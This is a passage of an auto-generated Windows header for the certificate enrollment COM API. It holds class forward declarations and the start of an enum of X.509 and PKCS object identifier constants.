CCryptAttributes;\n#else\ntypedef struct CCryptAttributes CCryptAttributes;\n#endif /* __cplusplus */\n\n#endif \t/* __CCryptAttributes_FWD_DEFINED__ */\n\n\n#ifndef __CCertProperty_FWD_DEFINED__\n#define __CCertProperty_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertProperty CCertProperty;\n#else\ntypedef struct CCertProperty CCertProperty;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertProperty_FWD_DEFINED__ */\n\n\n#ifndef __CCertProperties_FWD_DEFINED__\n#define __CCertProperties_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertProperties CCertProperties;\n#else\ntypedef struct CCertProperties CCertProperties;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertProperties_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyFriendlyName_FWD_DEFINED__\n#define __CCertPropertyFriendlyName_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyFriendlyName CCertPropertyFriendlyName;\n#else\ntypedef struct CCertPropertyFriendlyName CCertPropertyFriendlyName;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyFriendlyName_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyDescription_FWD_DEFINED__\n#define __CCertPropertyDescription_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyDescription CCertPropertyDescription;\n#else\ntypedef struct CCertPropertyDescription CCertPropertyDescription;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyDescription_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyAutoEnroll_FWD_DEFINED__\n#define __CCertPropertyAutoEnroll_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyAutoEnroll CCertPropertyAutoEnroll;\n#else\ntypedef struct CCertPropertyAutoEnroll CCertPropertyAutoEnroll;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyAutoEnroll_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyRequestOriginator_FWD_DEFINED__\n#define __CCertPropertyRequestOriginator_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyRequestOriginator CCertPropertyRequestOriginator;\n#else\ntypedef struct CCertPropertyRequestOriginator CCertPropertyRequestOriginator;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyRequestOriginator_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertySHA1Hash_FWD_DEFINED__\n#define __CCertPropertySHA1Hash_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertySHA1Hash CCertPropertySHA1Hash;\n#else\ntypedef struct CCertPropertySHA1Hash CCertPropertySHA1Hash;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertySHA1Hash_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyKeyProvInfo_FWD_DEFINED__\n#define __CCertPropertyKeyProvInfo_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyKeyProvInfo CCertPropertyKeyProvInfo;\n#else\ntypedef struct CCertPropertyKeyProvInfo CCertPropertyKeyProvInfo;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyKeyProvInfo_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyArchived_FWD_DEFINED__\n#define __CCertPropertyArchived_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyArchived CCertPropertyArchived;\n#else\ntypedef struct CCertPropertyArchived CCertPropertyArchived;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyArchived_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyBackedUp_FWD_DEFINED__\n#define __CCertPropertyBackedUp_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyBackedUp CCertPropertyBackedUp;\n#else\ntypedef struct CCertPropertyBackedUp CCertPropertyBackedUp;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyBackedUp_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyEnrollment_FWD_DEFINED__\n#define __CCertPropertyEnrollment_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyEnrollment CCertPropertyEnrollment;\n#else\ntypedef struct CCertPropertyEnrollment CCertPropertyEnrollment;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyEnrollment_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyRenewal_FWD_DEFINED__\n#define __CCertPropertyRenewal_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyRenewal CCertPropertyRenewal;\n#else\ntypedef struct CCertPropertyRenewal CCertPropertyRenewal;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyRenewal_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyArchivedKeyHash_FWD_DEFINED__\n#define __CCertPropertyArchivedKeyHash_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyArchivedKeyHash CCertPropertyArchivedKeyHash;\n#else\ntypedef struct CCertPropertyArchivedKeyHash CCertPropertyArchivedKeyHash;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyArchivedKeyHash_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyEnrollmentPolicyServer_FWD_DEFINED__\n#define __CCertPropertyEnrollmentPolicyServer_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyEnrollmentPolicyServer CCertPropertyEnrollmentPolicyServer;\n#else\ntypedef struct CCertPropertyEnrollmentPolicyServer CCertPropertyEnrollmentPolicyServer;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyEnrollmentPolicyServer_FWD_DEFINED__ */\n\n\n#ifndef __CSignerCertificate_FWD_DEFINED__\n#define __CSignerCertificate_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CSignerCertificate CSignerCertificate;\n#else\ntypedef struct CSignerCertificate CSignerCertificate;\n#endif /* __cplusplus */\n\n#endif \t/* __CSignerCertificate_FWD_DEFINED__ */\n\n\n#ifndef __CX509NameValuePair_FWD_DEFINED__\n#define __CX509NameValuePair_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509NameValuePair CX509NameValuePair;\n#else\ntypedef struct CX509NameValuePair CX509NameValuePair;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509NameValuePair_FWD_DEFINED__ */\n\n\n#ifndef __CCertificateAttestationChallenge_FWD_DEFINED__\n#define __CCertificateAttestationChallenge_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertificateAttestationChallenge CCertificateAttestationChallenge;\n#else\ntypedef struct CCertificateAttestationChallenge CCertificateAttestationChallenge;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertificateAttestationChallenge_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateRequestPkcs10_FWD_DEFINED__\n#define __CX509CertificateRequestPkcs10_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateRequestPkcs10 CX509CertificateRequestPkcs10;\n#else\ntypedef struct CX509CertificateRequestPkcs10 CX509CertificateRequestPkcs10;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateRequestPkcs10_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateRequestCertificate_FWD_DEFINED__\n#define __CX509CertificateRequestCertificate_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateRequestCertificate CX509CertificateRequestCertificate;\n#else\ntypedef struct CX509CertificateRequestCertificate CX509CertificateRequestCertificate;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateRequestCertificate_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateRequestPkcs7_FWD_DEFINED__\n#define __CX509CertificateRequestPkcs7_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateRequestPkcs7 CX509CertificateRequestPkcs7;\n#else\ntypedef struct CX509CertificateRequestPkcs7 CX509CertificateRequestPkcs7;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateRequestPkcs7_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateRequestCmc_FWD_DEFINED__\n#define __CX509CertificateRequestCmc_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateRequestCmc CX509CertificateRequestCmc;\n#else\ntypedef struct CX509CertificateRequestCmc CX509CertificateRequestCmc;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateRequestCmc_FWD_DEFINED__ */\n\n\n#ifndef __CX509Enrollment_FWD_DEFINED__\n#define __CX509Enrollment_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509Enrollment CX509Enrollment;\n#else\ntypedef struct CX509Enrollment CX509Enrollment;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509Enrollment_FWD_DEFINED__ */\n\n\n#ifndef __CX509EnrollmentWebClassFactory_FWD_DEFINED__\n#define __CX509EnrollmentWebClassFactory_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509EnrollmentWebClassFactory CX509EnrollmentWebClassFactory;\n#else\ntypedef struct CX509EnrollmentWebClassFactory CX509EnrollmentWebClassFactory;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509EnrollmentWebClassFactory_FWD_DEFINED__ */\n\n\n#ifndef __CX509EnrollmentHelper_FWD_DEFINED__\n#define __CX509EnrollmentHelper_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509EnrollmentHelper CX509EnrollmentHelper;\n#else\ntypedef struct CX509EnrollmentHelper CX509EnrollmentHelper;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509EnrollmentHelper_FWD_DEFINED__ */\n\n\n#ifndef __CX509MachineEnrollmentFactory_FWD_DEFINED__\n#define __CX509MachineEnrollmentFactory_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509MachineEnrollmentFactory CX509MachineEnrollmentFactory;\n#else\ntypedef struct CX509MachineEnrollmentFactory CX509MachineEnrollmentFactory;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509MachineEnrollmentFactory_FWD_DEFINED__ */\n\n\n#ifndef __CX509EnrollmentPolicyActiveDirectory_FWD_DEFINED__\n#define __CX509EnrollmentPolicyActiveDirectory_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509EnrollmentPolicyActiveDirectory CX509EnrollmentPolicyActiveDirectory;\n#else\ntypedef struct CX509EnrollmentPolicyActiveDirectory CX509EnrollmentPolicyActiveDirectory;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509EnrollmentPolicyActiveDirectory_FWD_DEFINED__ */\n\n\n#ifndef __CX509EnrollmentPolicyWebService_FWD_DEFINED__\n#define __CX509EnrollmentPolicyWebService_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509EnrollmentPolicyWebService CX509EnrollmentPolicyWebService;\n#else\ntypedef struct CX509EnrollmentPolicyWebService CX509EnrollmentPolicyWebService;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509EnrollmentPolicyWebService_FWD_DEFINED__ */\n\n\n#ifndef __CX509PolicyServerListManager_FWD_DEFINED__\n#define __CX509PolicyServerListManager_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509PolicyServerListManager CX509PolicyServerListManager;\n#else\ntypedef struct CX509PolicyServerListManager CX509PolicyServerListManager;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509PolicyServerListManager_FWD_DEFINED__ */\n\n\n#ifndef __CX509PolicyServerUrl_FWD_DEFINED__\n#define __CX509PolicyServerUrl_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509PolicyServerUrl CX509PolicyServerUrl;\n#else\ntypedef struct CX509PolicyServerUrl CX509PolicyServerUrl;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509PolicyServerUrl_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateTemplateADWritable_FWD_DEFINED__\n#define __CX509CertificateTemplateADWritable_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateTemplateADWritable CX509CertificateTemplateADWritable;\n#else\ntypedef struct CX509CertificateTemplateADWritable CX509CertificateTemplateADWritable;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateTemplateADWritable_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateRevocationListEntry_FWD_DEFINED__\n#define __CX509CertificateRevocationListEntry_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateRevocationListEntry CX509CertificateRevocationListEntry;\n#else\ntypedef struct CX509CertificateRevocationListEntry CX509CertificateRevocationListEntry;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateRevocationListEntry_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateRevocationListEntries_FWD_DEFINED__\n#define __CX509CertificateRevocationListEntries_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateRevocationListEntries CX509CertificateRevocationListEntries;\n#else\ntypedef struct CX509CertificateRevocationListEntries CX509CertificateRevocationListEntries;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateRevocationListEntries_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateRevocationList_FWD_DEFINED__\n#define __CX509CertificateRevocationList_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateRevocationList CX509CertificateRevocationList;\n#else\ntypedef struct CX509CertificateRevocationList CX509CertificateRevocationList;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateRevocationList_FWD_DEFINED__ */\n\n\n#ifndef __CX509SCEPEnrollment_FWD_DEFINED__\n#define __CX509SCEPEnrollment_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509SCEPEnrollment CX509SCEPEnrollment;\n#else\ntypedef struct CX509SCEPEnrollment CX509SCEPEnrollment;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509SCEPEnrollment_FWD_DEFINED__ */\n\n\n#ifndef __CX509SCEPEnrollmentHelper_FWD_DEFINED__\n#define __CX509SCEPEnrollmentHelper_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509SCEPEnrollmentHelper CX509SCEPEnrollmentHelper;\n#else\ntypedef struct CX509SCEPEnrollmentHelper CX509SCEPEnrollmentHelper;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509SCEPEnrollmentHelper_FWD_DEFINED__ */\n\n\n/* header files for imported files */\n#include \"wtypes.h\"\n#include \"oaidl.h\"\n#include \"certcli.h\"\n#include \"certpol.h\"\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif \n\n\n/* interface __MIDL_itf_certenroll_0000_0000 */\n/* [local] */ \n\n#include <winapifamily.h>\n#pragma region Desktop Family\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n#if defined(MIDL_PASS)\ntypedef typedef void VOID;\n;\n\n#endif\ntypedef \nenum CERTENROLL_OBJECTID\n    {\n        XCN_OID_NONE\t= 0,\n        XCN_OID_RSA\t= 1,\n        XCN_OID_PKCS\t= 2,\n        XCN_OID_RSA_HASH\t= 3,\n        XCN_OID_RSA_ENCRYPT\t= 4,\n        XCN_OID_PKCS_1\t= 5,\n        XCN_OID_PKCS_2\t= 6,\n        XCN_OID_PKCS_3\t= 7,\n        XCN_OID_PKCS_4\t= 8,\n        XCN_OID_PKCS_5\t= 9,\n        XCN_OID_PKCS_6\t= 10,\n        XCN_OID_PKCS_7\t= 11,\n        XCN_OID_PKCS_8\t= 12,\n        XCN_OID_PKCS_9\t= 13,\n        XCN_OID_PKCS_10\t= 14,\n        XCN_OID_PKCS_12\t= 15,\n        XCN_OID_RSA_RSA\t= 16,\n        XCN_OID_RSA_MD2RSA\t= 17,\n        XCN_OID_RSA_MD4RSA\t= 18,\n        XCN_OID_RSA_MD5RSA\t= 19,\n        XCN_OID_RSA_SHA1RSA\t= 20,\n        XCN_OID_RSA_SETOAEP_RSA\t= 21,\n        XCN_OID_RSA_DH\t= 22,\n        XCN_OID_RSA_data\t= 23,\n        XCN_OID_RSA_signedData\t= 24,\n        XCN_OID_RSA_envelopedData\t= 25,\n        XCN_OID_RSA_signEnvData\t= 26,\n        XCN_OID_RSA_digestedData\t= 27,\n        XCN_OID_RSA_hashedData\t= 28,\n        XCN_OID_RSA_encryptedData\t= 29,\n        XCN_OID_RSA_emailAddr\t= 30,\n        XCN_OID_RSA_unstructName\t= 31,\n        XCN_OID_RSA_contentType\t= 32,\n        XCN_OID_RSA_messageDigest\t= 33,\n        XCN_OID_RSA_signingTime\t= 34,\n        XCN_OID_RSA_counterSign\t= 35,\n        XCN_OID_RSA_challengePwd\t= 36,\n        XCN_OID_RSA_unstructAddr\t= 37,\n        XCN_OID_RSA_extCertAttrs\t= 38,\n        XCN_OID_RSA_certExtensions\t= 39,\n        XCN_OID_RSA_SMIMECapabilities\t= 40,\n        XCN_OID_RSA_preferSignedData\t= 41,\n        XCN_OID_RSA_SMIMEalg\t= 42,\n        XCN_OID_RSA_SMIMEalgESDH\t= 43,\n        XCN_OID_RSA_SMIMEalgCMS3DESwrap\t= 44,\n        XCN_OID_RSA_SMIMEalgCMSRC2wrap\t= 45,\n        XCN_OID_RSA_MD2\t= 46,\n        XCN_OID_RSA_MD4\t= 47,\n        XCN_OID_RSA_MD5\t= 48,\n        XCN_OID_RSA_RC2CBC\t= 49,\n        XCN_OID_RSA_RC4\t= 50,\n        XCN_OID_RSA_DES_EDE3_CBC\t= 51,\n        XCN_OID_RSA_RC5_CBCPad\t= 52,\n        XCN_OID_ANSI_X942\t= 53,\n        XCN_OID_ANSI_X942_DH\t= 54,\n        XCN_OID_X957\t= 55,\n        XCN_OID_X957_DSA\t= 56,\n        XCN_OID_X957_SHA1DSA\t= 57,\n        XCN_OID_DS\t= 58,\n        XCN_OID_DSALG\t= 59,\n        XCN_OID_DSALG_CRPT\t= 60,\n        XCN_OID_DSALG_HASH\t= 61,\n        XCN_OID_DSALG_SIGN\t= 62,\n        XCN_OID_DSALG_RSA\t= 63,\n        XCN_OID_OIW\t= 64,\n        XCN_OID_OIWSEC\t= 65,\n        XCN_OID_OIWSEC_md4RSA\t= 66,\n        XCN_OID_OIWSEC_md5RSA\t= 67,\n        XCN_OID_OIWSEC_md4RSA2\t= 68,\n        XCN_OID_OIWSEC_desECB\t= 69,\n        XCN_OID_OIWSEC_desCBC\t= 70,\n        XCN_OID_OIWSEC_desOFB\t= 71,\n        XCN_OID_OIWSEC_desCFB\t= 72,\n        XCN_OID_OIWSEC_desMAC\t= 73,\n        XCN_OID_OIWSEC_rsaSign\t= 74,\n        XCN_OID_OIWSEC_dsa\t= 75,\n        XCN_OID_OIWSEC_shaDSA\t= 76,\n        XCN_OID_OIWSEC_mdc2RSA\t= 77,\n        XCN_OID_OIWSEC_shaRSA\t= 78,\n        XCN_OID_OIWSEC_dhCommMod\t= 79,\n        XCN_OID_OIWSEC_desEDE\t= 80,\n        XCN_OID_OIWSEC_sha\t= 81,\n        XCN_OID_OIWSEC_mdc2\t= 82,\n        XCN_OID_OIWSEC_dsaComm\t= 83,\n        XCN_OID_OIWSEC_dsaCommSHA\t= 84,\n        XCN_OID_OIWSEC_rsaXchg\t= 85,\n        XCN_OID_OIWSEC_keyHashSeal\t= 86,\n        XCN_OID_OIWSEC_md2RSASign\t= 87,\n        XCN_OID_OIWSEC_md5RSASign\t= 88,\n        XCN_OID_OIWSEC_sha1\t= 89,\n        XCN_OID_OIWSEC_dsaSHA1\t= 90,\n        XCN_OID_OIWSEC_dsaCommSHA1\t= 91,\n        XCN_OID_OIWSEC_sha1RSASign\t= 92,\n        XCN_OID_OIWDIR\t= 93,\n        XCN_OID_OIWDIR_CRPT\t= 94,\n        XCN_OID_OIWDIR_HASH\t= 95,\n        XCN_OID_OIWDIR_SIGN\t= 96,\n        XCN_OID_OIWDIR_md2\t= 97,\n        XCN_OID_OIWDIR_md2RSA\t= 98,\n        XCN_OID_INFOSEC\t= 99,\n        XCN_OID_INFOSEC_sdnsSignature\t= 100,\n        XCN_OID_INFOSEC_mosaicSignature\t= 101,\n        XCN_OID_INFOSEC_sdnsConfidentiality\t= 102,\n        XCN_OID_INFOSEC_mosaicConfidentiality\t= 103,\n        XCN_OID_INFOSEC_sdnsIntegrity\t= 104,\n        XCN_OID_INFOSEC_mosaicIntegrity\t= 105,\n        XCN_OID_INFOSEC_sdnsTokenProtection\t= 106,\n        XCN_OID_INFOSEC_mosaicTokenProtection\t= 107,\n        XCN_OID_INFOSEC_sdnsKeyManagement\t= 108,\n        XCN_OID_INFOSEC_mosaicKeyManagement\t= 109,\n        XCN_OID_INFOSEC_sdnsKMandSig\t= 110,\n        XCN_OID_INFOSEC_mosaicKMandSig\t= 111,\n        XCN_OID_INFOSEC_SuiteASignature\t= 112,\n        XCN_OID_INFOSEC_SuiteAConfidentiality\t= 113,\n        XCN_OID_INFOSEC_SuiteAIntegrity\t= 114,\n        XCN_OID_INFOSEC_SuiteATokenProtection\t= 115,\n        XCN_OID_INFOSEC_SuiteAKeyManagement\t= 116,\n        XCN_OID_INFOSEC_SuiteAKMandSig\t= 117,\n        XCN_OID_INFOSEC_mosaicUpdatedSig\t= 118,\n        XCN_OID_INFOSEC_mosaicKMandUpdSig\t= 119,\n        XCN_OID_INFOSEC_mosaicUpdatedInteg\t= 120,\n        XCN_OID_COMMON_NAME\t= 121,\n        XCN_OID_SUR_NAME\t= 122,\n        XCN_OID_DEVICE_SERIAL_NUMBER\t= 123,\n        XCN_OID_COUNTRY_NAME\t= 124,\n        XCN_OID_LOCALITY_NAME\t= 125,\n        XCN_OID_STATE_OR_PROVINCE_NAME\t= 126,\n        XCN_OID_STREET_ADDRESS\t= 127,\n        XCN_OID_ORGANIZATION_NAME\t= 128,\n        XCN_OID_ORGANIZATIONAL_UNIT_NAME\t= 129,\n        XCN_OID_TITLE\t= 130,\n        XCN_OID_DESCRIPTION\t= 131,\n        XCN_OID_SEARCH_GUIDE\t= 132,\n        XCN_OID_BUSINESS_CATEGORY\t= 133,\n        XCN_OID_POSTAL_ADDRESS\t= 134,\n        XCN_OID_POSTAL_CODE\t= 135,\n        XCN_OID_POST_OFFICE_BOX\t= 136,\n        XCN_OID_PHYSICAL_DELIVERY_OFFICE_NAME\t= 137,\n        XCN_OID_TELEPHONE_NUMBER\t= 138,\n        XCN_OID_TELEX_NUMBER\t= 139,\n        XCN_OID_TELETEXT_TERMINAL_IDENTIFIER\t= 140,\n        XCN_OID_FACSIMILE_TELEPHONE_NUMBER\t= 141,\n        XCN_OID_X21_ADDRESS\t= 142,\n        XCN_OID_INTERNATIONAL_ISDN_NUMBER\t= 143,\n        XCN_OID_REGISTERED_ADDRESS\t= 144,\n        XCN_OID_DESTINATION_INDICATOR\t= 145,\n        XCN_OID_PREFERRED_DELIVERY_METHOD\t= 146,\n        XCN_OID_PRESENTATION_ADDRESS\t= 147,\n        XCN_OID_SUPPORTED_APPLICATION_CONTEXT\t= 148,\n        XCN_OID_MEMBER\t= 149,\n        XCN_OID_OWNER\t= 150,\n        XCN_OID_ROLE_OCCUPANT\t= 151,\n        XCN_OID_SEE_ALSO\t= 152,\n        XCN_OID_USER_PASSWORD\t= 153,\n        XCN_OID_USER_CERTIFICATE\t= 154,\n        XCN_OID_CA_CERTIFICATE\t= 155,\n        XCN_OID_AUTHORITY_REVOCATION_LIST\t= 156,\n        XCN_OID_CERTIFICATE_REVOCATION_LIST\t= 157,\n        XCN_OID_CROSS_CERTIFICATE_PAIR\t= 158,\n        XCN_OID_GIVEN_NAME\t= 159,\n        XCN_OID_INITIALS\t= 160,\n        XCN_OID_DN_QUALIFIER\t= 161,\n        XCN_OID_DOMAIN_COMPONENT\t= 162,\n        XCN_OID_PKCS_12_FRIENDLY_NAME_ATTR\t= 163,\n        XCN_OID_PKCS_12_LOCAL_KEY_ID\t= 164,\n        XCN_OID_PKCS_12_KEY_PROVIDER_NAME_ATTR\t= 165,\n        XCN_OID_LOCAL_MACHINE_KEYSET\t= 166,\n        XCN_OID_PKCS_12_EXTENDED_ATTRIBUTES\t= 167,\n        XCN_OID_KEYID_RDN\t= 168,\n        XCN_OID_AUTHORITY_KEY_IDENTIFIER\t= 169,\n        XCN_OID_KEY_ATTRIBUTES\t= 170,\n        XCN_OID_CERT_POLICIES_95\t= 171,\n        XCN_OID_KEY_USAGE_RESTRICTION\t= 172,\n        XCN_OID_SUBJECT_ALT_NAME\t= 173,\n        XCN_OID_ISSUER_ALT_NAME\t= 174,\n        XCN_OID_BASIC_CONSTRAINTS\t= 175,\n        XCN_OID_KEY_USAGE\t= 176,\n        XCN_OID_PRIVATEKEY_USAGE_PERIOD\t= 177,\n        XCN_OID_BASIC_CONSTRAINTS2\t= 178,\n        XCN_OID_CERT_POLICIES\t= 179,\n        XCN_OID_ANY_CERT_POLICY\t= 180,\n        XCN_OID_AUTHORITY_KEY_IDENTIFIER2\t= 181,\n        XCN_OID_SUBJECT_KEY_IDENTIFIER\t= 182,\n        XCN_OID_SUBJECT_ALT_NAME2\t= 183,\n        XCN_OID_ISSUER_ALT_NAME2\t= 184,\n        XCN_OID_CRL_REASON_CODE\t= 185,\n        XCN_OID_REASON_CODE_HOLD\t= 186,\n        XCN_OID_CRL_DIST_POINTS\t= 187,\n        XCN_OID_ENHANCED_KEY_USAGE\t= 188,\n        XCN_OID_CRL_NUMBER\t= 189,\n        XCN_OID_DELTA_CRL_INDICATOR\t= 190,\n        XCN_OID_ISSUING_DIST_POINT\t= 191,\n        XCN_OID_FRESHEST_CRL\t= 192,\n        XCN_OID_NAME_CONSTRAINTS\t= 193,\n        XCN_OID_POLICY_MAPPINGS\t= 194,\n        XCN_OID_LEGACY_POLICY_MAPPINGS\t= 195,\n        XCN_OID_POLICY_CONSTRAINTS\t= 196,\n        XCN_OID_RENEWAL_CERTIFICATE\t= 197,\n        XCN_OID_ENROLLMENT_NAME_VALUE_PAIR\t= 198,\n        XCN_OID_ENROLLMENT_CSP_PROVIDER\t= 199,\n        XCN_OID_OS_VERSION\t= 200,\n        XCN_OID_ENROLLMENT_AGENT\t= 201,\n        XCN_OID_PKIX\t= 202,\n        XCN_OID_PKIX_PE\t= 203,\n        XCN_OID_AUTHORITY_INFO_ACCESS\t= 204,\n        XCN_OID_BIOMETRIC_EXT\t= 205,\n        XCN_OID_LOGOTYPE_EXT\t= 206,\n        XCN_OID_CERT_EXTENSIONS\t= 207,\n        XCN_OID_NEXT_UPDATE_LOCATION\t= 208,\n        XCN_OID_REMOVE_CERTIFICATE\t= 209,\n        XCN_OID_CROSS_CERT_DIST_POINTS\t= 210,\n        XCN_OID_CTL\t= 211,\n        XCN_OID_SORTED_CTL\t= 212,\n        XCN_OID_SERIALIZED\t= 213,\n        XCN_OID_NT_PRINCIPAL_NAME\t= 214,\n        XCN_OID_PRODUCT_UPDATE\t= 215,\n        XCN_OID_ANY_APPLICATION_POLICY\t= 216,\n        XCN_OID_AUTO_ENROLL_CTL_USAGE\t= 217,\n        XCN_OID_ENROLL_CERTTYPE_EXTENSION\t= 218,\n        XCN_OID_CERT_MANIFOLD\t= 219,\n        XCN_OID_CERTSRV_CA_VERSION\t= 220,\n        XCN_OID_CERTSRV_PREVIOUS_CERT_HASH\t= 221,\n        XCN_OID_CRL_VIRTUAL_BASE\t= 222,\n        XCN_OID_CRL_NEXT_PUBLISH\t= 223,\n        XCN_OID_KP_CA_EXCHANGE\t= 224,\n        XCN_OID_KP_KEY_RECOVERY_AGENT\t= 225,\n        XCN_OID_CERTIFICATE_TEMPLATE\t= 226,\n        XCN_OID_ENTERPRISE_OID_ROOT\t= 227,\n        XCN_OID_RDN_DUMMY_SIGNER\t= 228,\n        XCN_OID_APPLICATION_CERT_POLICIES\t= 229,\n        XCN_OID_APPLICATION_POLICY_MAPPINGS\t= 230,\n        XCN_OID_APPLICATION_POLICY_CONSTRAINTS\t= 231,\n        XCN_OID_ARCHIVED_KEY_ATTR\t= 232,\n        XCN_OID_CRL_SELF_CDP\t= 233,\n        XCN_OID_REQUIRE_CERT_CHAIN_POLICY\t= 234,\n        XCN_OID_ARCHIVED_KEY_CERT_HASH\t= 235,\n        XCN_OID_ISSUED_CERT_HASH\t= 236,\n        XCN_OID_DS_EMAIL_REPLICATION\t= 237,\n        XCN_OID_REQUEST_CLIENT_INFO\t= 238,\n        XCN_OID_ENCRYPTED_KEY_HASH\t= 239,\n        XCN_OID_CERTSRV_CROSSCA_VERSION\t= 240,\n        XCN_OID_NTDS_REPLICATION\t= 241,\n        XCN_OID_SUBJECT_DIR_ATTRS\t= 242,\n        XCN_OID_PKIX_KP\t= 243,\n        XCN_OID_PKIX_KP_SERVER_AUTH\t= 244,\n        XCN_OID_PKIX_KP_CLIENT_AUTH\t= 245,\n        XCN_OID_PKIX_KP_CODE_SIGNING\t= 246,\n        XCN_OID_PKIX_KP_EMAIL_PROTECTION\t= 247,\n        XCN_OID_PKIX_KP_IPSEC_END_SYSTEM\t= 248,\n        XCN_OID_PKIX_KP_IPSEC_TUNNEL\t= 249,\n        XCN_OID_PKIX_KP_IPSEC_USER\t= 250,\n        XCN_OID_PKIX_KP_TIMESTAMP_SIGNING\t= 251,\n        XCN_OID_PKIX_KP_OCSP_SIGNING\t= 252,\n        XCN_OID_PKIX_OCSP_NOCHECK\t= 253,\n        XCN_OID_IPSEC_KP_IKE_INTERMEDIATE\t= 254,\n        XCN_OID_KP_CTL_USAGE_SIGNING\t= 255,\n        XCN_OID_KP_TIME_STAMP_SIGNING\t= 256,\n        XCN_OID_SERVER_GATED_CRYPTO\t= 257,\n        XCN_OID_SGC_NETSCAPE\t= 258,\n        XCN_OID_KP_EFS\t= 259,\n        XCN_OID_EFS_RECOVERY\t= 260,\n        